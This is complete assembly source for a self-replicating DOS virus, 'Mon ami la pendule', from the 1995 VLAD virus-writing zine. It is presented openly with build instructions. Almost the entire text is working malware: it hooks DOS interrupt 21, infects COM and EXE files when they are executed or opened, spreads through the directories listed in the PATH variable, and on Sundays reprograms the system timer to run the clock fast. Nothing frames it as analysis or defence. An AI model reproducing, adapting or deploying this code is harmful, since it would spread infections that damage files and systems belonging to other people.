home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.4_7 < prev    next >
Encoding:
Text File  |  1995-02-06  |  13.9 KB  |  637 lines

  1.  
  2. ; [Mon ami la pendule]
  3. ; "My friend the clock"
  4. ;
  5. ; by Metabolis/VLAD
  6. ; and Black Avenger of Moscow
  7. ;
  8. ; Basically I needed a shell to contain the payload I'd 
  9. ; written for one of my own viruses but I kinda stuffed
  10. ; up slightly and wanted to release this before vlad#3.
  11. ; As a favour to me Black Avenger gave me his first virus
  12. ; to use with my payload.  He asked only to be given
  13. ; credit in the asm source itself, so I've just stuck
  14. ; my handle down there in the code  (can't let a virus
  15. ; have no one responsible for it now can I? :)
  16. ;
  17. ; compile with:
  18. ; tasm /m2 monami.asm
  19. ; tlink monami.obj
  20. ; exe2bin monami.exe monami.com
  21. ;
  22. ; hooks int 21
  23. ; infects on - execution
  24. ;            + open
  25. ;            + extended open
  26. ; will infect files in the PATH environment variable
  27.  
  28.         .MODEL TINY
  29.         .CODE
  30.         .RADIX 16
  31.  
  32. START:
  33.         pushf
  34.         cli
  35.         call    DELTA
  36. DELTA:
  37.         pop     si
  38.         sub     si,DELTA-START
  39.         push    cs
  40.         push    si
  41.         push    ax
  42.         mov     bx,-1
  43.         mov     ah,4A
  44.         int     21
  45.         sub     bx,(MEM-START+0f)/10
  46.         push    bx
  47.         push    es
  48.         mov     bp,ds
  49.         add     bx,bp
  50.         mov     es,bx
  51.         sub     di,di
  52.         mov     cx,TOP-START
  53.         push    cx
  54.         push    si
  55.         push    cs
  56.         cld
  57.         rep     movs byte ptr [di],cs:[si]
  58.         push    es
  59.         mov     cl,offset RESTART
  60.         push    cx
  61.         retf
  62. RESTART:
  63.         pop     es
  64.         pop     di
  65.         pop     cx
  66. PGM_SEG:
  67.         lea     ax,[bp-100]
  68.         mov     ds,ax
  69. PGM_OFF:
  70.         mov     si,RTRN-START+1100
  71.         rep     movsb
  72.         mov     ah,2C
  73.         int     21
  74.         call    CHECKSUM
  75.         mov     ax,3521
  76.         int     21
  77.         push    cs
  78.         pop     ds
  79.         mov     si,offset REAL_INT21
  80.         mov     [si+CHAINDOS+1-REAL_INT21],bx
  81.         mov     [si+CHAINDOS+3-REAL_INT21],es
  82.         pop     es
  83.         pop     bx
  84.         xchg    si,dx
  85.         mov     ah,25
  86.         int     21
  87.         dec     bx
  88.         jz      EXIT
  89.         mov     ah,4A
  90.         int     21
  91.         mov     ax,cs
  92.         dec     ax
  93.         mov     ds,ax
  94.         mov     di,2
  95.         mov     byte ptr [di-1],8
  96.         stosw
  97. CHECKDATE:
  98.         mov     ah,2Ah                          ; get system date
  99.         int     21h
  100.  
  101.         or      al,al                           ; is today Sunday?
  102.         jne     EXIT                            ; nope, carry on
  103. OVERDRIVE:                                      ; speed up the computer
  104.         mov     ax,34h                          ; clock about 10 TIMEs
  105.         out     43h,ax                          ; port 43h Control Word
  106.                                                 ; (write only)
  107.         mov     ax,11h                          ; port 40h Channel 0 counter
  108.         out     40h,ax                          ; (read/write)
  109.         jmp     EXIT
  110.  
  111. COPYR   db      '[Mon ami la pendule] - Metabolis/VLAD'
  112.  
  113. EXIT:
  114.         push    es
  115.         pop     ds
  116.         pop     ax
  117.         iret
  118.  
  119. CHECKSUM:
  120.         mov     si,offset SPREADING_THE_DISEASE
  121. CHECKSUM_LUP:
  122.         lods    word ptr cs:[si]
  123.         add     cx,ax
  124.         xor     dx,cx
  125.         cmp     si,offset GOT_POS
  126.         jb      CHECKSUM_LUP
  127.         ret
  128.  
  129. ERROR_HANDLER:
  130.         mov     al,3
  131.         iret
  132.  
  133. REAL_INT21:
  134.         pushf
  135.         cld
  136.         cmp     ax,2521
  137.         jne     TIME
  138. CHKS1:
  139.         cmp     cx,80
  140.         jne     _CHAINDOS
  141. CHKS2:
  142.         cmp     si,80
  143.         jne     _CHAINDOS
  144.         mov     bx,1
  145.         popf
  146.         iret
  147.  
  148. TIME:
  149.         push    ax
  150.         push    si
  151.         cmp     ah,2C
  152.         jne     SPREAD
  153.         call    DOS
  154.         push    cx
  155.         push    dx
  156.         call    CHECKSUM
  157.         mov     word ptr cs:[CHKS1+2],cx
  158.         mov     word ptr cs:[CHKS2+2],dx
  159.         pop     dx
  160.         pop     cx
  161.         pop     si
  162.         pop     ax
  163.         popf
  164.         iret
  165. SPREAD:
  166.         push    cx
  167.         push    dx
  168.         push    bx
  169.         push    bp
  170.         push    di
  171.         push    es
  172.         push    ds
  173.         cmp     ax,4B00
  174.         je      SPREADING_THE_DISEASE
  175.         cmp     ah,3Dh
  176.         je      SPREADING_THE_DISEASE
  177.         cmp     ax,6C00
  178.         jne     GET_OUT
  179.         and     dx,3
  180.         dec     dx
  181.         mov     dx,si
  182.         jz      SPREADING_THE_DISEASE
  183. GET_OUT:
  184.         pop     ds
  185.         pop     es
  186.         pop     di
  187.         pop     bp
  188.         pop     bx
  189.         pop     dx
  190.         pop     cx
  191.         pop     si
  192.         pop     ax
  193. _CHAINDOS:
  194.         popf
  195. CHAINDOS:
  196.         db      0EA
  197.         dd      ?
  198.  
  199. SPREADING_THE_DISEASE:
  200.         xchg    bp,ax
  201.         sub     bx,bx        
  202.         mov     es,bx
  203.         mov     bl,90
  204.         mov     ax,cs
  205.         xchg    ax,es:[bx+2]
  206.         push    ax
  207.         mov     ax,offset ERROR_HANDLER
  208.         xchg    ax,es:[bx]
  209.         push    ax
  210.         push    bx
  211.         push    es
  212.         mov     ah,2F
  213.         call    DOS
  214.         push    bx
  215.         push    es
  216.         push    dx
  217.         push    ds
  218.         push    cs
  219.         pop     ds
  220.         mov     dx,offset DTA
  221.         mov     ah,1A
  222.         call    DOS
  223.         pop     ds
  224.         pop     dx
  225.         mov     ah,4E
  226.         call    FIND
  227. SPREAD_LUP:
  228.         mov     si,offset BUF
  229.         push    bp
  230.         push    dx
  231.         push    ds
  232.         mov     ax,4301
  233.         push    ax
  234.         jc      _ATTR
  235.         cmp     word ptr cs:[si+1C-44],10
  236.         jnb     __ATTR
  237.         mov     bl,cs:[si+19-44]
  238.         shr     bl,1
  239.         cmp     bl,20
  240.         jnb     __ATTR
  241.         mov     cx,1F04
  242.         and     cx,cs:[si+15-44]
  243.         test    cl,cl
  244.         jnz     __ATTR
  245.         cmp     bl,ch
  246.         je      __ATTR
  247.         call    SET_ATTR
  248.         jc      _ATTR
  249.         mov     ax,3D02
  250.         call    DOS
  251.         jnc     OPEN
  252. __ATTR:
  253.         cmc
  254. _ATTR:
  255.         jmp     ATTR
  256. OPEN:
  257.         push    cs
  258.         pop     ds
  259.         xchg    bx,ax
  260.         mov     cl,40
  261.         mov     ah,3F
  262.         call    BUF_IO
  263.         jc      CLOSE_CY
  264.         cmp     word ptr [si],'ZM'
  265.         je      GOT_EXE
  266.         cmp     word ptr [si],'MZ'
  267.         je      GOT_EXE
  268.         push    cs
  269.         pop     es
  270.         mov     di,offset DTA+1E
  271.         mov     cl,0E
  272.         repne   scasb
  273.         mov     ax,[di-4]
  274.         cmp     ax,'XE'
  275.         je      CHECK_EXT
  276.         cmp     ax,'OC'
  277.         jne     _CLOSE_NZ
  278.         mov     al,'M'
  279. CHECK_EXT:
  280.         cbw
  281.         sub     al,[di-2]
  282.         jnz     _CLOSE_NZ
  283. GOT_COM:
  284.         mov     word ptr [ADJ_HEAD+1],ax
  285.         cwd
  286.         cmp     byte ptr [si],0E8
  287.         je      DISP_3
  288.         cmp     byte ptr [si],0E9
  289.         jne     _GOT_POS
  290. DISP_3:
  291.         mov     al,3
  292.         add     ax,[si+1]
  293. _GOT_POS:
  294.         jmp     GOT_POS
  295. GOT_EXE:
  296.         inc     word ptr [si+0C]
  297. _CLOSE_NZ:
  298.         jnz     CLOSE_NZ
  299.         mov     di,[si+14]
  300.         cmp     di,START-TOP-10
  301.         ja      CLOSE_NZ
  302.         cmp     cx,[si+18]
  303.         jne     SKIP_PM
  304.         les     dx,[si+3C]
  305.         call    SEEKES
  306.         call    IN4
  307.         jc      SKIP_PM
  308.         cmp     word ptr [si+1A],'EN'
  309.         je      _CLOSE
  310. SKIP_PM:
  311.         mov     ax,[si+16]
  312.         call    I_MUL
  313.         sub     cx,cx
  314.         add     ax,di
  315.         adc     dx,cx
  316.         call    CHECK_STACK
  317. CLOSE_CY:
  318.         jc      _CLOSE
  319.         push    ax
  320.         push    dx
  321.         add     ax,TOP-START
  322.         adc     dx,cx
  323.         sub     ax,[si+1A-44]
  324.         sbb     dx,[si+1C-44]
  325.         cmc
  326.         jc      bad_entry
  327.         les     ax,[si+1A-44]
  328.         mov     dx,es
  329.         call    CHECK_STACK
  330. bad_entry:
  331.         pop     di
  332.         pop     bp
  333.         jc      _CLOSE
  334.         push    ax
  335.         push    dx
  336.         mov     ch,2  
  337.         div     cx
  338.         test    dx,dx
  339.         jz      SKIP_INC
  340.         inc     ax
  341. SKIP_INC:
  342.         cmp     ax,[si+4]
  343.         pop     dx
  344.         pop     ax
  345. CLOSE_NZ:
  346.         jne     _CLOSE
  347.         add     ax,TOP-START
  348.         adc     dx,0 
  349.         div     cx
  350.         test    dx,dx
  351.         jz      SKIP_INC1
  352.         inc     ax
  353. SKIP_INC1:
  354.         mov     [si+4],ax
  355.         mov     [si+2],dx
  356.         call    SEEK_RELOCTBL
  357.         inc     word ptr [si+6]
  358. RELOC_LUP:
  359.         dec     word ptr [si+6]
  360.         jz      RELOC_END
  361.         call    IN4
  362.         mov     ax,[si+1C]
  363.         call    I_MUL
  364.         add     ax,[si+1A]
  365.         adc     dx,0
  366.         sub     ax,bp
  367.         sbb     dx,di
  368.         jnc     CHECK
  369.         inc     ax
  370.         jnz     RELOC_LUP
  371.         inc     dx
  372. RELOC_NXT:
  373.         jnz     RELOC_LUP
  374. _CLOSE:
  375.         jmp     __CLOSE
  376. CHECK:
  377.         jnz     RELOC_LUP
  378.         cmp     ax,TOP-START
  379.         jnb     RELOC_NXT
  380.         add     ax,[si+1A-44]
  381.         adc     dx,[si+1C-44]
  382.         mov     cl,10
  383.         div     cx
  384.         sub     ax,[si+8]
  385.         mov     word ptr [si+1A],dx
  386.         mov     word ptr [si+1C],ax
  387.         mov     dx,-4
  388.         mov     cx,-1
  389.         mov     ax,4201
  390.         call    DOS
  391.         mov     ah,40
  392.         call    OUT4
  393.         jnc     RELOC_LUP
  394. __CLOSE:
  395.         jmp     CLOSE
  396. RELOC_END:
  397.         mov     ax,[si+8]
  398.         mov     word ptr [ADJ_HEAD+1],ax
  399.         sub     dx,dx
  400.         call    SEEKCX
  401.         mov     cl,6
  402.         mov     ah,40
  403.         call    BUF_IO
  404.         jc      CLOSE
  405.         xchg    bp,ax
  406.         xchg    di,dx
  407. GOT_POS:
  408.         xchg    dx,ax
  409.         xchg    cx,ax
  410.         push    cx
  411.         push    dx
  412.         call    seek
  413.         mov     ah,3F
  414.         call    BUF_IOCX
  415.         jc      CLOSE_POS
  416.         les     dx,[si+1A-44]
  417.         call    SEEKES
  418.         mov     cl,10
  419.         div     cx
  420.         add     ax,cx
  421. ADJ_HEAD:
  422.         sub     ax,0
  423.         mov     word ptr [PGM_SEG+2],ax
  424.         mov     word ptr [PGM_OFF+1],dx
  425.         mov     ah,40
  426.         call    BUF_IOCX
  427. CLOSE_POS:
  428.         pop     dx
  429.         pop     cx
  430.         jc      CLOSE
  431.         call    seek
  432.         mov     cx,TOP-START
  433.         mov     ah,40
  434.         cwd
  435.         call    IO
  436.         jc      CLOSE
  437.         les     cx,[si+16-44]
  438.         mov     dx,es
  439.         and     cx,-20
  440.         mov     ax,dx
  441.         shr     ah,1
  442.         or      cl,ah
  443.         mov     ax,5701
  444.         or      byte ptr [GOT_ONE],al
  445.         call    DOS
  446. CLOSE:
  447.         mov     ah,3E
  448.         call    DOS
  449.         clc
  450. ATTR:
  451.         pop     ax
  452.         pop     ds
  453.         pop     dx
  454.         jc      SKIP_ATTR
  455.         mov     cl,cs:[si+15-44]
  456.         call    SET_ATTR
  457. SKIP_ATTR:
  458.         pop     ax
  459.         cmp     ah,4Bh
  460.         je      SPREAD_CONT
  461. FIX_PTRS:
  462.         pop     ds
  463.         pop     dx
  464.         mov     ah,1A
  465.         call    DOS
  466.         pop     es
  467.         pop     di
  468.         pop     ax
  469.         stosw
  470.         pop     ax
  471.         stosw
  472.         jmp     GET_OUT
  473. SPREAD_CONT:
  474.         push    cs
  475.         pop     es
  476.         mov     dx,offset NAM
  477.         shr     al,1
  478.         inc     ax
  479.         xchg    bp,ax
  480.         mov     ah,4F
  481.         jc      GOT_ONE
  482.         sub     bx,bx
  483.         mov     ah,62
  484.         call    DOS
  485.         test    bx,bx
  486.         jz      FIX_PTRS
  487.         mov     ds,bx
  488.         sub     si,si
  489.         cmp     si,[si+2C]
  490.         jz      FIX_PTRS
  491.         mov     ds,[si+2C]
  492. SCAN_ENV:
  493.         lodsb
  494.         test    al,al
  495.         jnz     SCAN_ENV
  496.         lodsb
  497.         test    al,al
  498.         jz      FIX_PTRS
  499.         or      al,20
  500.         cmp     al,'p'
  501.         jne     SCAN_ENV
  502.         lodsw
  503.         or      ax,2020
  504.         cmp     ax,'ta'
  505.         jne     SCAN_NXT
  506.         lodsw
  507.         or      al,20
  508.         cmp     ax,'=h'
  509.         je      SCAN_PATH
  510. SCAN_NXT:
  511.         dec     si
  512.         dec     si
  513.         jmp     SCAN_ENV
  514. NEXT_DIR:
  515.         pop     ds
  516.         pop     si
  517.         pop     ax
  518.         test    al,al
  519.         jz      FIX_PTRS
  520. SCAN_PATH:
  521.         and     byte ptr cs:[GOT_ONE],0FE
  522.         mov     di,dx
  523. COPY_PATH:
  524.         lodsb
  525.         cmp     al,';'
  526.         je      END_DIR
  527.         test    al,al
  528.         jz      END_DIR
  529.         stosb
  530.         jmp     COPY_PATH
  531. END_DIR:
  532.         push    ax
  533.         push    si
  534.         push    ds
  535.         dec     di
  536.         mov     al,'\'
  537.         scasb
  538.         je      SET_MASK
  539.         stosb
  540. SET_MASK:
  541.         push    di
  542.         mov     ax,'.*'
  543.         stosw
  544.         cbw
  545.         stosw
  546.         mov     ah,4E
  547. GOT_ONE:
  548.         clc
  549.         pop     di
  550.         jc      NEXT_DIR
  551.         push    cs
  552.         pop     ds
  553.         call    FIND
  554.         jc      NEXT_DIR
  555.         push    di
  556.         mov     si,offset DTA+1E
  557.         mov     cl,7
  558.         rep     movsw
  559.         jmp     SPREAD_LUP
  560.         
  561. CHECK_STACK:
  562.         xchg    bp,ax
  563.         xchg    di,dx
  564.         mov     ax,[si+0E]
  565.         call    I_MUL
  566.         add     ax,[si+10]
  567.         adc     dx,cx
  568.         sub     ax,bp
  569.         sbb     dx,di
  570.         cmc
  571.         jnc     BELOW_STACK
  572.         sub     ax,TOP-START+64
  573.         sbb     dx,cx
  574. BELOW_STACK:
  575.         xchg    di,dx
  576.         xchg    bp,ax
  577.         ret
  578.  
  579. I_MUL:
  580.         add     ax,[si+8]
  581.         mov     dx,10
  582.         imul    dx
  583.         ret
  584.  
  585. IN4:
  586.         mov     ah,3F
  587. OUT4:
  588.         mov     dx,offset BUF+1A
  589.         mov     cx,4
  590.         jmp     IO
  591. BUF_IOCX:
  592.         mov     cx,TOP-START
  593. BUF_IO:
  594.         mov     dx,si
  595. IO:
  596.         call    DOS
  597.         jc      IO_RTRN
  598.         sub     ax,cx
  599. IO_RTRN:
  600.         ret
  601.  
  602. FIND:
  603.         mov     cl,23
  604. SET_ATTR:
  605.         sub     ch,ch
  606.         jmp     DOS
  607.  
  608. SEEK_RELOCTBL:
  609.         mov     dx,[si+18]
  610. SEEKCX:
  611.         sub     cx,cx
  612.         test    ax,0
  613.         org     $-2
  614. SEEKES:
  615.         mov     cx,es
  616. seek:
  617.         mov     ax,4200
  618. DOS:
  619.         pushf
  620.         cli
  621.         push    cs
  622.         call    CHAINDOS
  623. RTRN:
  624.         ret
  625.  
  626. TOP:
  627.  
  628. NAM     db      60 dup(?)
  629. DTA     db      44 dup(?)
  630. BUF     db      TOP-START dup(?)
  631.  
  632. MEM:
  633.  
  634.         end     START
  635.  
  636.  
  637.